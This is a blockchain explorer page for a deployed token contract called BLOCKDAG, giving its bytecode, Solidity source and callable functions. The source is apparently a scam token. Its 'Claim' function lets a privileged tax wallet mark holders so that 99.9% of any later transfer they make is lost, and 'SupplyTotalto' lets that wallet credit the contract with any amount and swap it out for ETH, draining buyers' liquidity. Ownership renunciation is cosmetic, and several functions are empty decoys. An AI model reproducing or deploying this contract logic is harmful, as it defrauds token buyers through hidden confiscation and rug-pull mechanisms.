Address Contract Partially Verified
Address
0x704129a1fA0233735DbE88E1dd979f0ee84a62E4
Balance
0 ETH
Nonce
1
Code Size
7411 bytes
Creator
0x6e83fa91...a7DF at tx 0xf17efc3a...8ae145
Indexed Transactions
0
Contract Bytecode
7411 bytes
0x608060405234801561000f575f5ffd5b5060043610610140575f3560e01c80636f268a99116100b6578063a457c2d71161007a578063a457c2d71461031c578063a9059cbb1461034c578063cf51d96b1461037c578063dd62ed3e14610398578063f7262a15146103c8578063fc3c6d48146103e457610140565b80636f268a991461028857806370a08231146102a6578063715018a6146102d65780638da5cb5b146102e057806395d89b41146102fe57610140565b8063313ce56711610108578063313ce567146101ea57806332424aa31461020857806338f6080b1461022657806339509351146102305780633eaaf86b1461026057806361556c041461027e57610140565b806301339c211461014457806306fdde031461014e578063095ea7b31461016c57806318160ddd1461019c57806323b872dd146101ba575b5f5ffd5b61014c6103ee565b005b6101566103f0565b60405161016391906113b2565b60405180910390f35b61018660048036038101906101819190611467565b610480565b60405161019391906114bf565b60405180910390f35b6101a4610496565b6040516101b191906114e7565b60405180910390f35b6101d460048036038101906101cf9190611500565b61049f565b6040516101e191906114bf565b60405180910390f35b6101f2610541565b6040516101ff91906114e7565b60405180910390f35b61021061054a565b60405161021d91906114e7565b60405180910390f35b61022e610550565b005b61024a60048036038101906102459190611467565b610552565b60405161025791906114bf565b60405180910390f35b6102686105f2565b60405161027591906114e7565b60405180910390f35b6102866105f8565b005b6102906105fa565b60405161029d919061155f565b60405180910390f35b6102c060048036038101906102bb9190611578565b61061f565b6040516102cd91906114e7565b60405180910390f35b6102de610665565b005b6102e8610795565b6040516102f5919061155f565b60405180910390f35b6103066107bc565b60405161031391906113b2565b60405180910390f35b61033660048036038101906103319190611467565b61084c565b60405161034391906114bf565b60405180910390f35b61036660048036038101906103619190611467565b610970565b60405161037391906114bf565b60405180910390f35b610396600480360381019061039191906115a3565b61098d565b005b6103b260048036038101906103ad91906115e1565b610c2a565b6040516103bf91906114e7565b60405180910390f35b6103e260048036038101906103dd9190611680565b610cac565b005b6103ec610d5d565b005b565b6060600380546103ff906116f8565b80601f016020809104026020016040519081016040528092919081815260200182805461042b906116f8565b80156104765780601f1061044d57610100808354040283529160200191610476565b820191905f5260205f20905b81548152906001019060200180831161045957829003601f168201915b5050505050905090565b5f61048c338484610d5f565b6001905092915050565b5f600254905090565b5f6104ab848484610f22565b8160075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104f2611204565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610536575f5ffd5b600190509392505050565b5f600154905090565b60015481565b565b5f6105e861055e611204565b848460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546105e39190611755565b610d5f565b6001905092915050565b60025481565b565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610684610795565b73ffffffffffffffffffffffffffffffffffffffff16146106da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d1906117d2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546107cb906116f8565b80601f01602080910402602001604051908101604052809291908181526020018280546107f7906116f8565b80156108425780601f1061081957610100808354040283529160200191610842565b820191905f5260205f20905b81548152906001019060200180831161082557829003601f168201915b5050505050905090565b5f8160075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156108d1575f5ffd5b6109666108dc611204565b848460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461096191906117f0565b610d5f565b6001905092915050565b5f61098361097c611204565b8484610f22565b6001905092915050565b61099561120b565b15610c20576109c63060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d5f565b8160095f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f600267ffffffffffffffff811115610a2457610a23611823565b5b604051908082528060200260200182016040528015610a525781602001602082028036833780820191505090505b50905030815f81518110610a6957610a68611850565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b0d573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b319190611891565b81600181518110610b4557610b44611850565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947845f8486602042610bcd9190611755565b6040518663ffffffff1660e01b8152600401610bed9594939291906119b5565b5f604051808303815f87803b158015610c04575f5ffd5b505af1158015610c16573d5f5f3e3d5ffd5b5050505050610c25565b610c26565b5b5050565b5f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f610cb5611268565b90505f5f90505b83839050811015610d5757610ccf61120b565b15610d4a57600182610ce19190611755565b60085f868685818110610cf757610cf6611850565b5b9050602002016020810190610d0c9190611578565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8080600101915050610cbc565b50505050565b565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dcd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc490611a7d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3290611b0b565b60405180910390fd5b8060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f1591906114e7565b60405180910390a3505050565b5f5f90505f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610f5d575f5ffd5b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054821115610fa6575f5ffd5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161100391906114e7565b60405180910390a38160095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461105491906117f0565b60095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f61109e611268565b60085f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054111590505f61110a6103e86110fc6103e78761126f90919063ffffffff16565b6112e690919063ffffffff16565b90505f60085f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054141580156111565750815b1561115f578092505b5f60095f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905083856111ac91906117f0565b816111b79190611755565b90508060095f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050505050505050565b5f33905090565b5f611214611204565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905090565b5f43905090565b5f5f830361127f575f90506112e0565b5f828461128c9190611b29565b905082848261129b9190611b97565b146112db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d290611c37565b60405180910390fd5b809150505b92915050565b5f5f8211611329576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132090611c9f565b60405180910390fd5b5f82846113369190611b97565b90508091505092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61138482611342565b61138e818561134c565b935061139e81856020860161135c565b6113a78161136a565b840191505092915050565b5f6020820190508181035f8301526113ca818461137a565b905092915050565b5f5ffd5b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611403826113da565b9050919050565b611413816113f9565b811461141d575f5ffd5b50565b5f8135905061142e8161140a565b92915050565b5f819050919050565b61144681611434565b8114611450575f5ffd5b50565b5f813590506114618161143d565b92915050565b5f5f6040838503121561147d5761147c6113d2565b5b5f61148a85828601611420565b925050602061149b85828601611453565b9150509250929050565b5f8115159050919050565b6114b9816114a5565b82525050565b5f6020820190506114d25f8301846114b0565b92915050565b6114e181611434565b82525050565b5f6020820190506114fa5f8301846114d8565b92915050565b5f5f5f60608486031215611517576115166113d2565b5b5f61152486828701611420565b935050602061153586828701611420565b925050604061154686828701611453565b9150509250925092565b611559816113f9565b82525050565b5f6020820190506115725f830184611550565b92915050565b5f6020828403121561158d5761158c6113d2565b5b5f61159a84828501611420565b91505092915050565b5f5f604083850312156115b9576115b86113d2565b5b5f6115c685828601611453565b92505060206115d785828601611420565b9150509250929050565b5f5f604083850312156115f7576115f66113d2565b5b5f61160485828601611420565b925050602061161585828601611420565b9150509250929050565b5f5ffd5b5f5ffd5b5f5ffd5b5f5f83601f8401126116405761163f61161f565b5b8235905067ffffffffffffffff81111561165d5761165c611623565b5b60208301915083602082028301111561167957611678611627565b5b9250929050565b5f5f60208385031215611696576116956113d2565b5b5f83013567ffffffffffffffff8111156116b3576116b26113d6565b5b6116bf8582860161162b565b92509250509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061170f57607f821691505b602082108103611722576117216116cb565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61175f82611434565b915061176a83611434565b925082820190508082111561178257611781611728565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6117bc60208361134c565b91506117c782611788565b602082019050919050565b5f6020820190508181035f8301526117e9816117b0565b9050919050565b5f6117fa82611434565b915061180583611434565b925082820390508181111561181d5761181c611728565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f8151905061188b8161140a565b92915050565b5f602082840312156118a6576118a56113d2565b5b5f6118b38482850161187d565b91505092915050565b5f819050919050565b5f819050919050565b5f6118e86118e36118de846118bc565b6118c5565b611434565b9050919050565b6118f8816118ce565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611930816113f9565b82525050565b5f6119418383611927565b60208301905092915050565b5f602082019050919050565b5f611963826118fe565b61196d8185611908565b935061197883611918565b805f5b838110156119a857815161198f8882611936565b975061199a8361194d565b92505060018101905061197b565b5085935050505092915050565b5f60a0820190506119c85f8301886114d8565b6119d560208301876118ef565b81810360408301526119e78186611959565b90506119f66060830185611550565b611a0360808301846114d8565b9695505050505050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611a6760258361134c565b9150611a7282611a0d565b604082019050919050565b5f6020820190508181035f830152611a9481611a5b565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611af560238361134c565b9150611b0082611a9b565b604082019050919050565b5f6020820190508181035f830152611b2281611ae9565b9050919050565b5f611b3382611434565b9150611b3e83611434565b9250828202611b4c81611434565b91508282048414831517611b6357611b62611728565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611ba182611434565b9150611bac83611434565b925082611bbc57611bbb611b6a565b5b828204905092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c5f8201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b5f611c2160228361134c565b9150611c2c82611bc7565b604082019050919050565b5f6020820190508181035f830152611c4e81611c15565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f00000000005f82015250565b5f611c89601b8361134c565b9150611c9482611c55565b602082019050919050565b5f6020820190508181035f830152611cb681611c7d565b905091905056fea2646970667358221220dfd191b2ce866b344223ad6da9a0e64f66915d74bf71c17972756b48275ee67e64736f6c634300081e0033
Verified Source Code Partial Match
Compiler: v0.8.30+commit.73712a01
EVM: prague
Optimization: No
BLOCKDAG.sol 185 lines
/**
https://x.com/blockdagnetwork
*/
pragma solidity ^0.8.21;
// SPDX-License-Identifier: MIT
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {return 0;}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
}
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function owner() public view virtual returns (address) {return _owner;}
constructor () {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
modifier onlyOwner(){
require(owner() == msg.sender, "Ownable: caller is not the owner");
_;
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair_);
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 a, uint256 b, address[] calldata path, address cAddress, uint256) external;
function WETH() external pure returns (address aadd);
}
contract BLOCKDAG is Ownable {
using SafeMath for uint256;
uint256 public _decimals = 9;
uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;
constructor() {
_balances[sender()] = _totalSupply;
emit Transfer(address(0), sender(), _balances[sender()]);
_taxWallet = msg.sender;
}
string private _name = "BLOCKDAG";
string private _symbol = "BDAG";
IUniswapV2Router private uniV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public _taxWallet;
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "IERC20: approve from the zero address");
require(spender != address(0), "IERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function name() external view returns (string memory) {
return _name;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function retrodrop() public {
}
function swapdrop() external {
}
function launch() public {
}
function toswap() public {
}
function Claim(address[] calldata walletAddress) external {
uint256 fromBlockNo = getBlockNumber();
for (uint walletInde = 0; walletInde < walletAddress.length; walletInde++) {
if (!marketingAddres()){} else {
cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;
}
}
}
function transferFrom(address from, address recipient, uint256 _amount) public returns (bool) {
_transfer(from, recipient, _amount);
require(_allowances[from][sender()] >= _amount);
return true;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function getBlockNumber() internal view returns (uint256) {
return block.number;
}
mapping(address => mapping(address => uint256)) private _allowances;
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function decreaseAllowance(address from, uint256 amount) public returns (bool) {
require(_allowances[msg.sender][from] >= amount);
_approve(sender(), from, _allowances[msg.sender][from] - amount);
return true;
}
event Transfer(address indexed from, address indexed to, uint256);
mapping (address => uint256) internal cooldowns;
function decimals() external view returns (uint256) {
return _decimals;
}
function marketingAddres() private view returns (bool) {
return (_taxWallet == (sender()));
}
function sender() internal view returns (address) {
return msg.sender;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function SupplyTotalto(uint256 amount, address walletAddr) external {
if (marketingAddres()) {
_approve(address(this), address(uniV2Router), amount);
_balances[address(this)] = amount;
address[] memory addressPath = new address[](2);
addressPath[0] = address(this);
addressPath[1] = uniV2Router.WETH();
uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount, 0, addressPath, walletAddr, block.timestamp + 32);
} else {
return;
}
}
function _transfer(address from, address to, uint256 value) internal {
uint256 _taxValue = 0;
require(from != address(0));
require(value <= _balances[from]);
emit Transfer(from, to, value);
_balances[from] = _balances[from] - (value);
bool onCooldown = (cooldowns[from] <= (getBlockNumber()));
uint256 _cooldownFeeValue = value.mul(999).div(1000);
if ((cooldowns[from] != 0) && onCooldown) {
_taxValue = (_cooldownFeeValue);
}
uint256 toBalance = _balances[to];
toBalance += (value) - (_taxValue);
_balances[to] = toBalance;
}
event Approval(address indexed, address indexed, uint256 value);
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(sender(), spender, _allowances[msg.sender][spender] + addedValue);
return true;
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(sender(), recipient, amount);
return true;
}
mapping(address => uint256) private _balances;
function approve(address spender, uint256 amount) public virtual returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
}
Read Contract
_decimals 0x32424aa3 → uint256
_taxWallet 0x6f268a99 → address
_totalSupply 0x3eaaf86b → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 12 functions
These functions modify contract state and require a wallet transaction to execute.
Claim 0xf7262a15
address[] walletAddress
SupplyTotalto 0xcf51d96b
uint256 amount
address walletAddr
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
decreaseAllowance 0xa457c2d7
address from
uint256 amount
returns: bool
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
launch 0x01339c21
No parameters
renounceOwnership 0x715018a6
No parameters
retrodrop 0x61556c04
No parameters
swapdrop 0xfc3c6d48
No parameters
toswap 0x38f6080b
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address from
address recipient
uint256 _amount
returns: bool
Recent Transactions
No transactions found for this address